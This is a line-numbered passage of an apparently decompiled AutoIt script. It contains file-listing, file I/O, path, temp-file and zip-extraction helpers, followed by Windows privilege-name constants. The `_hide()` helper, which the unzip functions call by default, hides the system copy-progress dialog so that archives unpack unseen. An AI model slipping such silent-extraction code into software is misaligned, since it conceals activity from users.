  2793. If NOT __fltar_listtomask($sexclude_folder_mask, $sexclude_list_folder) Then Return SetError(1, 4, "")
  2794. EndIf
  2795. If $ireturn = 2 Then
  2796. $sexclude_folder_mask = $sexclude_file_mask
  2797. EndIf
  2798. Else
  2799. $sexclude_folder_mask = $sexclude_file_mask
  2800. EndIf
  2801. If NOT ($ireturn = 0 OR $ireturn = 1 OR $ireturn = 2) Then Return SetError(1, 5, "")
  2802. If NOT ($isort = 0 OR $isort = 1 OR $isort = 2) Then Return SetError(1, 7, "")
  2803. If NOT ($ireturnpath = 0 OR $ireturnpath = 1 OR $ireturnpath = 2) Then Return SetError(1, 8, "")
  2804. If $ihide_hs OR $ihide_link Then
  2805. Local $tfile_data = DllStructCreate("struct;align 4;dword FileAttributes;uint64 CreationTime;uint64 LastAccessTime;uint64 LastWriteTime;" & "dword FileSizeHigh;dword FileSizeLow;dword Reserved0;dword Reserved1;wchar FileName[260];wchar AlternateFileName[14];endstruct")
  2806. Local $pfile_data = DllStructGetPtr($tfile_data), $hdll = DllOpen("kernel32.dll"), $adll_ret
  2807. EndIf
  2808. While $asfoldersearchlist[0] > 0
  2809. $scurrentpath = $asfoldersearchlist[$asfoldersearchlist[0]]
  2810. $asfoldersearchlist[0] -= 1
  2811. Switch $ireturnpath
  2812. Case 1
  2813. $sretpath = StringReplace($scurrentpath, $sinitialpath, "")
  2814. Case 2
  2815. If $blongpath Then
  2816. $sretpath = StringTrimLeft($scurrentpath, 4)
  2817. Else
  2818. $sretpath = $scurrentpath
  2819. EndIf
  2820. EndSwitch
  2821. If $ihide_hs OR $ihide_link Then
  2822. $adll_ret = DllCall($hdll, "ptr", "FindFirstFileW", "wstr", $scurrentpath & "*", "ptr", $pfile_data)
  2823. If @error OR NOT $adll_ret[0] Then
  2824. ContinueLoop
  2825. EndIf
  2826. $hsearch = $adll_ret[0]
  2827. Else
  2828. $hsearch = FileFindFirstFile($scurrentpath & "*")
  2829. If $hsearch = -1 Then
  2830. ContinueLoop
  2831. EndIf
  2832. EndIf
  2833. If $ireturn = 0 AND $isort AND $ireturnpath Then
  2834. __fltar_addtolist($asfolderfilesectionlist, $sretpath, $asfilematchlist[0] + 1)
  2835. EndIf
  2836. While 1
  2837. If $ihide_hs OR $ihide_link Then
  2838. $adll_ret = DllCall($hdll, "int", "FindNextFileW", "ptr", $hsearch, "ptr", $pfile_data)
  2839. If @error OR NOT $adll_ret[0] Then
  2840. ExitLoop
  2841. EndIf
  2842. $sname = DllStructGetData($tfile_data, "FileName")
  2843. If $sname = ".." Then
  2844. ContinueLoop
  2845. EndIf
  2846. $iattribs = DllStructGetData($tfile_data, "FileAttributes")
  2847. If $ihide_hs AND BitAND($iattribs, $ihide_hs) Then
  2848. ContinueLoop
  2849. EndIf
  2850. If $ihide_link AND BitAND($iattribs, $ihide_link) Then
  2851. ContinueLoop
  2852. EndIf
  2853. $bfolder = False
  2854. If BitAND($iattribs, 16) Then
  2855. $bfolder = True
  2856. EndIf
  2857. Else
  2858. $sname = FileFindNextFile($hsearch)
  2859. If @error Then
  2860. ExitLoop
  2861. EndIf
  2862. $bfolder = @extended
  2863. EndIf
  2864. If $bfolder Then
  2865. Select
  2866. Case $irecur < 0
  2867. StringReplace($scurrentpath, "\", "", 0, $str_nocasesensebasic)
  2868. If @extended < $imaxlevel Then
  2869. ContinueCase
  2870. EndIf
  2871. Case $irecur = 1
  2872. If NOT StringRegExp($sname, $sexclude_folder_mask) Then
  2873. __fltar_addtolist($asfoldersearchlist, $scurrentpath & $sname & "\")
  2874. EndIf
  2875. EndSelect
  2876. EndIf
  2877. If $isort Then
  2878. If $bfolder Then
  2879. If StringRegExp($sname, $sinclude_folder_mask) AND NOT StringRegExp($sname, $sexclude_folder_mask) Then
  2880. __fltar_addtolist($asfoldermatchlist, $sretpath & $sname & $sfolderslash)
  2881. EndIf
  2882. Else
  2883. If StringRegExp($sname, $sinclude_file_mask) AND NOT StringRegExp($sname, $sexclude_file_mask) Then
  2884. If $scurrentpath = $sinitialpath Then
  2885. __fltar_addtolist($asrootfilematchlist, $sretpath & $sname)
  2886. Else
  2887. __fltar_addtolist($asfilematchlist, $sretpath & $sname)
  2888. EndIf
  2889. EndIf
  2890. EndIf
  2891. Else
  2892. If $bfolder Then
  2893. If $ireturn <> 1 AND StringRegExp($sname, $sinclude_folder_mask) AND NOT StringRegExp($sname, $sexclude_folder_mask) Then
  2894. __fltar_addtolist($asreturnlist, $sretpath & $sname & $sfolderslash)
  2895. EndIf
  2896. Else
  2897. If $ireturn <> 2 AND StringRegExp($sname, $sinclude_file_mask) AND NOT StringRegExp($sname, $sexclude_file_mask) Then
  2898. __fltar_addtolist($asreturnlist, $sretpath & $sname)
  2899. EndIf
  2900. EndIf
  2901. EndIf
  2902. WEnd
  2903. FileClose($hsearch)
  2904. WEnd
  2905. If $ihide_hs Then
  2906. DllClose($hdll)
  2907. EndIf
  2908. If $isort Then
  2909. Switch $ireturn
  2910. Case 2
  2911. If $asfoldermatchlist[0] = 0 Then Return SetError(1, 9, "")
  2912. ReDim $asfoldermatchlist[$asfoldermatchlist[0] + 1]
  2913. $asreturnlist = $asfoldermatchlist
  2914. __arraydualpivotsort($asreturnlist, 1, $asreturnlist[0])
  2915. Case 1
  2916. If $asrootfilematchlist[0] = 0 AND $asfilematchlist[0] = 0 Then Return SetError(1, 9, "")
  2917. If $ireturnpath = 0 Then
  2918. __fltar_addfilelists($asreturnlist, $asrootfilematchlist, $asfilematchlist)
  2919. __arraydualpivotsort($asreturnlist, 1, $asreturnlist[0])
  2920. Else
  2921. __fltar_addfilelists($asreturnlist, $asrootfilematchlist, $asfilematchlist, 1)
  2922. EndIf
  2923. Case 0
  2924. If $asrootfilematchlist[0] = 0 AND $asfoldermatchlist[0] = 0 Then Return SetError(1, 9, "")
  2925. If $ireturnpath = 0 Then
  2926. __fltar_addfilelists($asreturnlist, $asrootfilematchlist, $asfilematchlist)
  2927. $asreturnlist[0] += $asfoldermatchlist[0]
  2928. ReDim $asfoldermatchlist[$asfoldermatchlist[0] + 1]
  2929. _arrayconcatenate($asreturnlist, $asfoldermatchlist, 1)
  2930. __arraydualpivotsort($asreturnlist, 1, $asreturnlist[0])
  2931. Else
  2932. Local $asreturnlist[$asfilematchlist[0] + $asrootfilematchlist[0] + $asfoldermatchlist[0] + 1]
  2933. $asreturnlist[0] = $asfilematchlist[0] + $asrootfilematchlist[0] + $asfoldermatchlist[0]
  2934. __arraydualpivotsort($asrootfilematchlist, 1, $asrootfilematchlist[0])
  2935. For $i = 1 To $asrootfilematchlist[0]
  2936. $asreturnlist[$i] = $asrootfilematchlist[$i]
  2937. Next
  2938. Local $inextinsertionindex = $asrootfilematchlist[0] + 1
  2939. __arraydualpivotsort($asfoldermatchlist, 1, $asfoldermatchlist[0])
  2940. For $i = 1 To $asfoldermatchlist[0]
  2941. $asreturnlist[$inextinsertionindex] = $asfoldermatchlist[$i]
  2942. $inextinsertionindex += 1
  2943. If $sfolderslash Then
  2944. $sfoldertofind = $asfoldermatchlist[$i]
  2945. Else
  2946. $sfoldertofind = $asfoldermatchlist[$i] & "\"
  2947. EndIf
  2948. For $j = 1 To $asfolderfilesectionlist[0][0]
  2949. If $sfoldertofind = $asfolderfilesectionlist[$j][0] Then
  2950. $ifilesectionstartindex = $asfolderfilesectionlist[$j][1]
  2951. If $j = $asfolderfilesectionlist[0][0] Then
  2952. $ifilesectionendindex = $asfilematchlist[0]
  2953. Else
  2954. $ifilesectionendindex = $asfolderfilesectionlist[$j + 1][1] - 1
  2955. EndIf
  2956. If $isort = 1 Then
  2957. __arraydualpivotsort($asfilematchlist, $ifilesectionstartindex, $ifilesectionendindex)
  2958. EndIf
  2959. For $k = $ifilesectionstartindex To $ifilesectionendindex
  2960. $asreturnlist[$inextinsertionindex] = $asfilematchlist[$k]
  2961. $inextinsertionindex += 1
  2962. Next
  2963. ExitLoop
  2964. EndIf
  2965. Next
  2966. Next
  2967. EndIf
  2968. EndSwitch
  2969. Else
  2970. If $asreturnlist[0] = 0 Then Return SetError(1, 9, "")
  2971. ReDim $asreturnlist[$asreturnlist[0] + 1]
  2972. EndIf
  2973. Return $asreturnlist
  2974. EndFunc
  2975.  
  2976. Func __fltar_addfilelists(ByRef $astarget, $assource_1, $assource_2, $isort = 0)
  2977. ReDim $assource_1[$assource_1[0] + 1]
  2978. If $isort = 1 Then __arraydualpivotsort($assource_1, 1, $assource_1[0])
  2979. $astarget = $assource_1
  2980. $astarget[0] += $assource_2[0]
  2981. ReDim $assource_2[$assource_2[0] + 1]
  2982. If $isort = 1 Then __arraydualpivotsort($assource_2, 1, $assource_2[0])
  2983. _arrayconcatenate($astarget, $assource_2, 1)
  2984. EndFunc
  2985.  
  2986. Func __fltar_addtolist(ByRef $alist, $vvalue_0, $vvalue_1 = -1)
  2987. If $vvalue_1 = -1 Then
  2988. $alist[0] += 1
  2989. If UBound($alist) <= $alist[0] Then ReDim $alist[UBound($alist) * 2]
  2990. $alist[$alist[0]] = $vvalue_0
  2991. Else
  2992. $alist[0][0] += 1
  2993. If UBound($alist) <= $alist[0][0] Then ReDim $alist[UBound($alist) * 2][2]
  2994. $alist[$alist[0][0]][0] = $vvalue_0
  2995. $alist[$alist[0][0]][1] = $vvalue_1
  2996. EndIf
  2997. EndFunc
  2998.  
  2999. Func __fltar_listtomask(ByRef $smask, $slist)
  3000. If StringRegExp($slist, "\\|/|:|\<|\>|\|") Then Return 0
  3001. $slist = StringReplace(StringStripWS(StringRegExpReplace($slist, "\s*;\s*", ";"), $str_stripleading + $str_striptrailing), ";", "|")
  3002. $slist = StringReplace(StringReplace(StringRegExpReplace($slist, "[][$^.{}()+\-]", "\\$0"), "?", "."), "*", ".*?")
  3003. $smask = "(?i)^(" & $slist & ")\z"
  3004. Return 1
  3005. EndFunc
  3006.  
  3007. Func _fileprint($sfilepath, $ishow = @SW_HIDE)
  3008. If $ishow = Default Then $ishow = @SW_HIDE
  3009. Return ShellExecute($sfilepath, "", @WorkingDir, "print", $ishow)
  3010. EndFunc
  3011.  
  3012. Func _filereadtoarray($sfilepath, ByRef $aarray, $iflags = $frta_count, $sdelimiter = "")
  3013. $aarray = 0
  3014. If $iflags = Default Then $iflags = $frta_count
  3015. If $sdelimiter = Default Then $sdelimiter = ""
  3016. Local $bexpand = True
  3017. If BitAND($iflags, $frta_intarrays) Then
  3018. $bexpand = False
  3019. $iflags -= $frta_intarrays
  3020. EndIf
  3021. Local $ientire = $str_chrsplit
  3022. If BitAND($iflags, $frta_entiresplit) Then
  3023. $ientire = $str_entiresplit
  3024. $iflags -= $frta_entiresplit
  3025. EndIf
  3026. Local $inocount = 0
  3027. If $iflags <> $frta_count Then
  3028. $iflags = $frta_nocount
  3029. $inocount = $str_nocount
  3030. EndIf
  3031. If $sdelimiter Then
  3032. Local $alines = FILEREADTOARRAY($sfilepath)
  3033. If @error Then Return SetError(@error, 0, 0)
  3034. Local $idim_1 = UBound($alines) + $iflags
  3035. If $bexpand Then
  3036. Local $idim_2 = UBound(StringSplit($alines[0], $sdelimiter, $ientire + $str_nocount))
  3037. Local $atemp_array[$idim_1][$idim_2]
  3038. Local $ifields, $asplit
  3039. For $i = 0 To $idim_1 - $iflags - 1
  3040. $asplit = StringSplit($alines[$i], $sdelimiter, $ientire + $str_nocount)
  3041. $ifields = UBound($asplit)
  3042. If $ifields <> $idim_2 Then
  3043. Return SetError(3, 0, 0)
  3044. EndIf
  3045. For $j = 0 To $ifields - 1
  3046. $atemp_array[$i + $iflags][$j] = $asplit[$j]
  3047. Next
  3048. Next
  3049. If $idim_2 < 2 Then Return SetError(4, 0, 0)
  3050. If $iflags Then
  3051. $atemp_array[0][0] = $idim_1 - $iflags
  3052. $atemp_array[0][1] = $idim_2
  3053. EndIf
  3054. Else
  3055. Local $atemp_array[$idim_1]
  3056. For $i = 0 To $idim_1 - $iflags - 1
  3057. $atemp_array[$i + $iflags] = StringSplit($alines[$i], $sdelimiter, $ientire + $inocount)
  3058. Next
  3059. If $iflags Then
  3060. $atemp_array[0] = $idim_1 - $iflags
  3061. EndIf
  3062. EndIf
  3063. $aarray = $atemp_array
  3064. Else
  3065. If $iflags Then
  3066. Local $hfileopen = FileOpen($sfilepath, $fo_read)
  3067. If $hfileopen = -1 Then Return SetError(1, 0, 0)
  3068. Local $sfileread = FileRead($hfileopen)
  3069. FileClose($hfileopen)
  3070. If StringLen($sfileread) Then
  3071. $aarray = StringRegExp(@LF & $sfileread, "(?|(\N+)\z|(\N*)(?:\R))", 3)
  3072. $aarray[0] = UBound($aarray) - 1
  3073. Else
  3074. Return SetError(2, 0, 0)
  3075. EndIf
  3076. Else
  3077. $aarray = FILEREADTOARRAY($sfilepath)
  3078. If @error Then
  3079. $aarray = 0
  3080. Return SetError(@error, 0, 0)
  3081. EndIf
  3082. EndIf
  3083. EndIf
  3084. Return 1
  3085. EndFunc
  3086.  
  3087. Func _filewritefromarray($sfilepath, Const ByRef $aarray, $ibase = Default, $iubound = Default, $sdelimeter = "|")
  3088. If NOT IsArray($aarray) Then Return SetError(2, 0, 0)
  3089. Local $idims = UBound($aarray, $ubound_dimensions)
  3090. If $idims > 2 Then Return SetError(4, 0, 0)
  3091. Local $ilast = UBound($aarray) - 1
  3092. If $iubound = Default OR $iubound > $ilast Then $iubound = $ilast
  3093. If $ibase < 0 OR $ibase = Default Then $ibase = 0
  3094. If $ibase > $iubound Then Return SetError(5, 0, 0)
  3095. If $sdelimeter = Default Then $sdelimeter = "|"
  3096. Local $hfileopen = $sfilepath
  3097. If IsString($sfilepath) Then
  3098. $hfileopen = FileOpen($sfilepath, $fo_overwrite)
  3099. EndIf
  3100. If $hfileopen = -1 Then Return SetError(1, 0, 0)
  3101. Local $ierror = 0
  3102. Switch $idims
  3103. Case 1
  3104. For $i = $ibase To $iubound
  3105. If FileWrite($hfileopen, $aarray[$i] & @CRLF) = 0 Then
  3106. $ierror = 3
  3107. ExitLoop
  3108. EndIf
  3109. Next
  3110. Case 2
  3111. Local $stemp = ""
  3112. Local $icols = UBound($aarray, $ubound_columns)
  3113. For $i = $ibase To $iubound
  3114. $stemp = $aarray[$i][0]
  3115. For $j = 1 To $icols - 1
  3116. $stemp &= $sdelimeter & $aarray[$i][$j]
  3117. Next
  3118. If FileWrite($hfileopen, $stemp & @CRLF) = 0 Then
  3119. $ierror = 3
  3120. ExitLoop
  3121. EndIf
  3122. Next
  3123. EndSwitch
  3124. If IsString($sfilepath) Then FileClose($hfileopen)
  3125. If $ierror Then Return SetError($ierror, 0, 0)
  3126. Return 1
  3127. EndFunc
  3128.  
  3129. Func _filewritelog($slogpath, $slogmsg, $iflag = -1)
  3130. Local $iopenmode = $fo_append
  3131. Local $sdatenow = @YEAR & "-" & @MON & "-" & @MDAY
  3132. Local $stimenow = @HOUR & ":" & @MIN & ":" & @SEC
  3133. Local $smsg = $sdatenow & " " & $stimenow & " : " & $slogmsg
  3134. If $iflag = Default Then $iflag = -1
  3135. If $iflag <> -1 Then
  3136. $iopenmode = $fo_overwrite
  3137. $smsg &= @CRLF & FileRead($slogpath)
  3138. EndIf
  3139. Local $hfileopen = $slogpath
  3140. If IsString($slogpath) Then
  3141. $hfileopen = FileOpen($slogpath, $iopenmode)
  3142. EndIf
  3143. If $hfileopen = -1 Then Return SetError(1, 0, 0)
  3144. Local $ireturn = FileWriteLine($hfileopen, $smsg)
  3145. If IsString($slogpath) Then $ireturn = FileClose($hfileopen)
  3146. If $ireturn <= 0 Then Return SetError(2, $ireturn, 0)
  3147. Return $ireturn
  3148. EndFunc
  3149.  
  3150. Func _filewritetoline($sfilepath, $iline, $stext, $ioverwrite = 0)
  3151. If $iline <= 0 Then Return SetError(4, 0, 0)
  3152. If NOT IsString($stext) Then
  3153. $stext = String($stext)
  3154. If $stext = "" Then Return SetError(6, 0, 0)
  3155. EndIf
  3156. If $ioverwrite <> 0 AND $ioverwrite <> 1 Then Return SetError(5, 0, 0)
  3157. If FileExists($sfilepath) = 0 Then Return SetError(2, 0, 0)
  3158. Local $aarray = FILEREADTOARRAY($sfilepath)
  3159. Local $iubound = UBound($aarray) - 1
  3160. If ($iubound + 1) < $iline Then Return SetError(1, 0, 0)
  3161. Local $hfileopen = FileOpen($sfilepath, FileGetEncoding($sfilepath) + $fo_overwrite)
  3162. If $hfileopen = -1 Then Return SetError(3, 0, 0)
  3163. Local $sdata = ""
  3164. $iline -= 1
  3165. For $i = 0 To $iubound
  3166. If $i = $iline Then
  3167. If $ioverwrite Then
  3168. If $stext Then $sdata &= $stext & @CRLF
  3169. Else
  3170. $sdata &= $stext & @CRLF & $aarray[$i] & @CRLF
  3171. EndIf
  3172. ElseIf $i < $iubound Then
  3173. $sdata &= $aarray[$i] & @CRLF
  3174. ElseIf $i = $iubound Then
  3175. $sdata &= $aarray[$i]
  3176. EndIf
  3177. Next
  3178. FileWrite($hfileopen, $sdata)
  3179. FileClose($hfileopen)
  3180. Return 1
  3181. EndFunc
  3182.  
  3183. Func _pathfull($srelativepath, $sbasepath = @WorkingDir)
  3184. If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath
  3185. Local $sfullpath = StringReplace($srelativepath, "/", "\")
  3186. Local Const $sfullpathconst = $sfullpath
  3187. Local $spath
  3188. Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullpath, 2, 1) <> "\"
  3189. If $sbasepath = Default Then $sbasepath = @WorkingDir
  3190. For $i = 1 To 2
  3191. $spath = StringLeft($sfullpath, 2)
  3192. If $spath = "\\" Then
  3193. $sfullpath = StringTrimLeft($sfullpath, 2)
  3194. Local $nserverlen = StringInStr($sfullpath, "\") - 1
  3195. $spath = "\\" & StringLeft($sfullpath, $nserverlen)
  3196. $sfullpath = StringTrimLeft($sfullpath, $nserverlen)
  3197. ExitLoop
  3198. ElseIf StringRight($spath, 1) = ":" Then
  3199. $sfullpath = StringTrimLeft($sfullpath, 2)
  3200. ExitLoop
  3201. Else
  3202. $sfullpath = $sbasepath & "\" & $sfullpath
  3203. EndIf
  3204. Next
  3205. If StringLeft($sfullpath, 1) <> "\" Then
  3206. If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Then
  3207. $sfullpath = $sbasepath & "\" & $sfullpath
  3208. Else
  3209. $sfullpath = "\" & $sfullpath
  3210. EndIf
  3211. EndIf
  3212. Local $atemp = StringSplit($sfullpath, "\")
  3213. Local $apathparts[$atemp[0]], $j = 0
  3214. For $i = 2 To $atemp[0]
  3215. If $atemp[$i] = ".." Then
  3216. If $j Then $j -= 1
  3217. ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i] <> "." Then
  3218. $apathparts[$j] = $atemp[$i]
  3219. $j += 1
  3220. EndIf
  3221. Next
  3222. $sfullpath = $spath
  3223. If NOT $brootonly Then
  3224. For $i = 0 To $j - 1
  3225. $sfullpath &= "\" & $apathparts[$i]
  3226. Next
  3227. Else
  3228. $sfullpath &= $sfullpathconst
  3229. If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sfullpath)
  3230. EndIf
  3231. Do
  3232. $sfullpath = StringReplace($sfullpath, ".\", "\")
  3233. Until @extended = 0
  3234. Return $sfullpath
  3235. EndFunc
  3236.  
  3237. Func _pathgetrelative($sfrom, $sto)
  3238. If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\"
  3239. If StringRight($sto, 1) <> "\" Then $sto &= "\"
  3240. If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1))
  3241. Local $asfrom = StringSplit($sfrom, "\")
  3242. Local $asto = StringSplit($sto, "\")
  3243. If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($sto, 1))
  3244. Local $i = 2
  3245. Local $idiff = 1
  3246. While 1
  3247. If $asfrom[$i] <> $asto[$i] Then
  3248. $idiff = $i
  3249. ExitLoop
  3250. EndIf
  3251. $i += 1
  3252. WEnd
  3253. $i = 1
  3254. Local $srelpath = ""
  3255. For $j = 1 To $asto[0]
  3256. If $i >= $idiff Then
  3257. $srelpath &= "\" & $asto[$i]
  3258. EndIf
  3259. $i += 1
  3260. Next
  3261. $srelpath = StringTrimLeft($srelpath, 1)
  3262. $i = 1
  3263. For $j = 1 To $asfrom[0]
  3264. If $i > $idiff Then
  3265. $srelpath = "..\" & $srelpath
  3266. EndIf
  3267. $i += 1
  3268. Next
  3269. If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($srelpath, 1)
  3270. Return $srelpath
  3271. EndFunc
  3272.  
  3273. Func _pathmake($sdrive, $sdir, $sfilename, $sextension)
  3274. If StringLen($sdrive) Then
  3275. If NOT (StringLeft($sdrive, 2) = "\\") Then $sdrive = StringLeft($sdrive, 1) & ":"
  3276. EndIf
  3277. If StringLen($sdir) Then
  3278. If NOT (StringRight($sdir, 1) = "\") AND NOT (StringRight($sdir, 1) = "/") Then $sdir = $sdir & "\"
  3279. EndIf
  3280. If StringLen($sdir) Then
  3281. If NOT (StringLeft($sdir, 1) = "\") AND NOT (StringLeft($sdir, 1) = "/") Then $sdir = "\" & $sdir
  3282. EndIf
  3283. If StringLen($sextension) Then
  3284. If NOT (StringLeft($sextension, 1) = ".") Then $sextension = "." & $sextension
  3285. EndIf
  3286. Return $sdrive & $sdir & $sfilename & $sextension
  3287. EndFunc
  3288.  
  3289. Func _pathsplit($sfilepath, ByRef $sdrive, ByRef $sdir, ByRef $sfilename, ByRef $sextension)
  3290. Local $aarray = StringRegExp($sfilepath, "^\h*((?:\\\\\?\\)*(\\\\[^\?\/\\]+|[A-Za-z]:)?(.*[\/\\]\h*)?((?:[^\.\/\\]|(?(?=\.[^\/\\]*\.)\.))*)?([^\/\\]*))$", $str_regexparraymatch)
  3291. If @error Then
  3292. ReDim $aarray[5]
  3293. $aarray[0] = $sfilepath
  3294. EndIf
  3295. $sdrive = $aarray[1]
  3296. If StringLeft($aarray[2], 1) == "/" Then
  3297. $sdir = StringRegExpReplace($aarray[2], "\h*[\/\\]+\h*", "\/")
  3298. Else
  3299. $sdir = StringRegExpReplace($aarray[2], "\h*[\/\\]+\h*", "\\")
  3300. EndIf
  3301. $sfilename = $aarray[3]
  3302. $sextension = $aarray[4]
  3303. Return $aarray
  3304. EndFunc
  3305.  
  3306. Func _replacestringinfile($sfilepath, $ssearchstring, $sreplacestring, $icasesensitive = 0, $ioccurance = 1)
  3307. If StringInStr(FileGetAttrib($sfilepath), "R") Then Return SetError(1, 0, -1)
  3308. Local $hfileopen = FileOpen($sfilepath, $fo_read)
  3309. If $hfileopen = -1 Then Return SetError(2, 0, -1)
  3310. Local $sfileread = FileRead($hfileopen)
  3311. FileClose($hfileopen)
  3312. If $icasesensitive = Default Then $icasesensitive = 0
  3313. If $ioccurance = Default Then $ioccurance = 1
  3314. $sfileread = StringReplace($sfileread, $ssearchstring, $sreplacestring, 1 - $ioccurance, $icasesensitive)
  3315. Local $ireturn = @extended
  3316. If $ireturn Then
  3317. Local $ifileencoding = FileGetEncoding($sfilepath)
  3318. $hfileopen = FileOpen($sfilepath, $ifileencoding + $fo_overwrite)
  3319. If $hfileopen = -1 Then Return SetError(3, 0, -1)
  3320. FileWrite($hfileopen, $sfileread)
  3321. FileClose($hfileopen)
  3322. EndIf
  3323. Return $ireturn
  3324. EndFunc
  3325.  
  3326. Func _tempfile($sdirectoryname = @TempDir, $sfileprefix = "~", $sfileextension = ".tmp", $irandomlength = 7)
  3327. If $irandomlength = Default OR $irandomlength <= 0 Then $irandomlength = 7
  3328. If $sdirectoryname = Default OR (NOT FileExists($sdirectoryname)) Then $sdirectoryname = @TempDir
  3329. If $sfileextension = Default Then $sfileextension = ".tmp"
  3330. If $sfileprefix = Default Then $sfileprefix = "~"
  3331. If NOT FileExists($sdirectoryname) Then $sdirectoryname = @ScriptDir
  3332. $sdirectoryname = StringRegExpReplace($sdirectoryname, "[\\/]+$", "")
  3333. $sfileextension = StringRegExpReplace($sfileextension, "^\.+", "")
  3334. $sfileprefix = StringRegExpReplace($sfileprefix, '[\\/:*?"<>|]', "")
  3335. Local $stempname = ""
  3336. Do
  3337. $stempname = ""
  3338. While StringLen($stempname) < $irandomlength
  3339. $stempname &= Chr(Random(97, 122, 1))
  3340. WEnd
  3341. $stempname = $sdirectoryname & "\" & $sfileprefix & $stempname & "." & $sfileextension
  3342. Until NOT FileExists($stempname)
  3343. Return $stempname
  3344. EndFunc
  3345.  
  3346. Func _zip_unzipall($hzipfile, $hdestpath, $flag = 1)
  3347. Local $dllchk = _zip_dllchk()
  3348. If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
  3349. If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
  3350. If NOT FileExists($hzipfile) Then Return SetError(2, 0, 0)
  3351. If NOT FileExists($hdestpath) Then DirCreate($hdestpath)
  3352. Local $aarray[1]
  3353. $oapp = ObjCreate("Shell.Application")
  3354. $oapp.namespace($hdestpath).copyhere($oapp.namespace($hzipfile).items, 20)
  3355. For $item In $oapp.namespace($hzipfile).items
  3356. _arrayadd($aarray, $item)
  3357. Next
  3358. While 1
  3359. If $flag = 1 Then _hide()
  3360. If FileExists($hdestpath & "\" & $aarray[UBound($aarray) - 1]) Then
  3361. Return SetError(0, 0, 1)
  3362. ExitLoop
  3363. EndIf
  3364. Sleep(500)
  3365. WEnd
  3366. EndFunc
  3367.  
  3368. Func _zip_unzip($hzipfile, $hfilename, $hdestpath, $flag = 1)
  3369. Local $dllchk = _zip_dllchk()
  3370. If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
  3371. If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
  3372. If NOT FileExists($hzipfile) Then Return SetError(1, 0, 0)
  3373. If NOT FileExists($hdestpath) Then DirCreate($hdestpath)
  3374. $oapp = ObjCreate("Shell.Application")
  3375. $hfolderitem = $oapp.namespace($hzipfile).parsename($hfilename)
  3376. $oapp.namespace($hdestpath).copyhere($hfolderitem)
  3377. While 1
  3378. If $flag = 1 Then _hide()
  3379. If FileExists($hdestpath & "\" & $hfilename) Then
  3380. Return SetError(0, 0, 1)
  3381. ExitLoop
  3382. EndIf
  3383. Sleep(500)
  3384. WEnd
  3385. EndFunc
  3386.  
  3387. Func _zip_dllchk()
  3388. If NOT FileExists(@SystemDir & "\zipfldr.dll") Then Return 2
  3389. If NOT RegRead("HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}", "") Then Return 3
  3390. Return 0
  3391. EndFunc
  3392.  
  3393. Func _geticon($file, $returntype = 0)
  3394. $filetype = StringSplit($file, ".")
  3395. $filetype = $filetype[UBound($filetype) - 1]
  3396. $fileparam = RegRead("HKEY_CLASSES_ROOT\." & $filetype, "")
  3397. $defaulticon = RegRead("HKEY_CLASSES_ROOT\" & $fileparam & "\DefaultIcon", "")
  3398. If NOT @error Then
  3399. $iconsplit = StringSplit($defaulticon, ",")
  3400. ReDim $iconsplit[3]
  3401. $iconfile = $iconsplit[1]
  3402. $iconid = $iconsplit[2]
  3403. Else
  3404. $iconfile = @SystemDir & "\shell32.dll"
  3405. $iconid = -219
  3406. EndIf
  3407. If $returntype = 0 Then
  3408. Return $iconfile
  3409. Else
  3410. Return $iconid
  3411. EndIf
  3412. EndFunc
  3413.  
  3414. Func _isfullpath($path)
  3415. If StringInStr($path, ":\") Then
  3416. Return True
  3417. Else
  3418. Return False
  3419. EndIf
  3420. EndFunc
  3421.  
  3422. Func _hide()
  3423. If ControlGetHandle("[CLASS:#32770]", "", "[CLASS:SysAnimate32; INSTANCE:1]") <> "" AND WinGetState("[CLASS:#32770]") <> @SW_HIDE Then
  3424. $hwnd = WinGetHandle("[CLASS:#32770]")
  3425. WinSetState($hwnd, "", @SW_HIDE)
  3426. EndIf
  3427. EndFunc
  3428.  
  3429. Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
  3430. Global Const $se_audit_name = "SeAuditPrivilege"
  3431. Global Const $se_backup_name = "SeBackupPrivilege"
  3432. Global Const $se_change_notify_name = "SeChangeNotifyPrivilege"
  3433. Global Const $se_create_global_name = "SeCreateGlobalPrivilege"
  3434. Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege"
  3435. Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege"
  3436. Global Const $se_create_symbolic_link_name = "SeCreateSymbolicLinkPrivilege"
  3437. Global Const $se_create_token_name = "SeCreateTokenPrivilege"
  3438. Global Const $se_debug_name = "SeDebugPrivilege"
  3439. Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege"
  3440. Global Const $se_impersonate_name = "SeImpersonatePrivilege"
  3441. Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
  3442. Global Const $se_inc_working_set_name = "SeIncreaseWorkingSetPrivilege"
  3443. Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege"
  3444. Global Const $se_load_driver_name = "SeLoadDriverPrivilege"
  3445. Global Const $se_lock_memory_name = "SeLockMemoryPrivilege"
  3446. Global Const $se_machine_account_name = "SeMachineAccountPrivilege"
  3447. Global Const $se_manage_volume_name = "SeManageVolumePrivilege"
  3448. Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
  3449. Global Const $se_relabel_name = "SeRelabelPrivilege"
  3450. Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
  3451. Global Const $se_restore_name = "SeRestorePrivilege"
  3452. Global Const $se_security_name = "SeSecurityPrivilege"
  3453. Global Const $se_shutdown_name = "SeShutdownPrivilege"
  3454. Global Const $se_sync_agent_name = "SeSyncAgentPrivilege"
  3455. Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege"
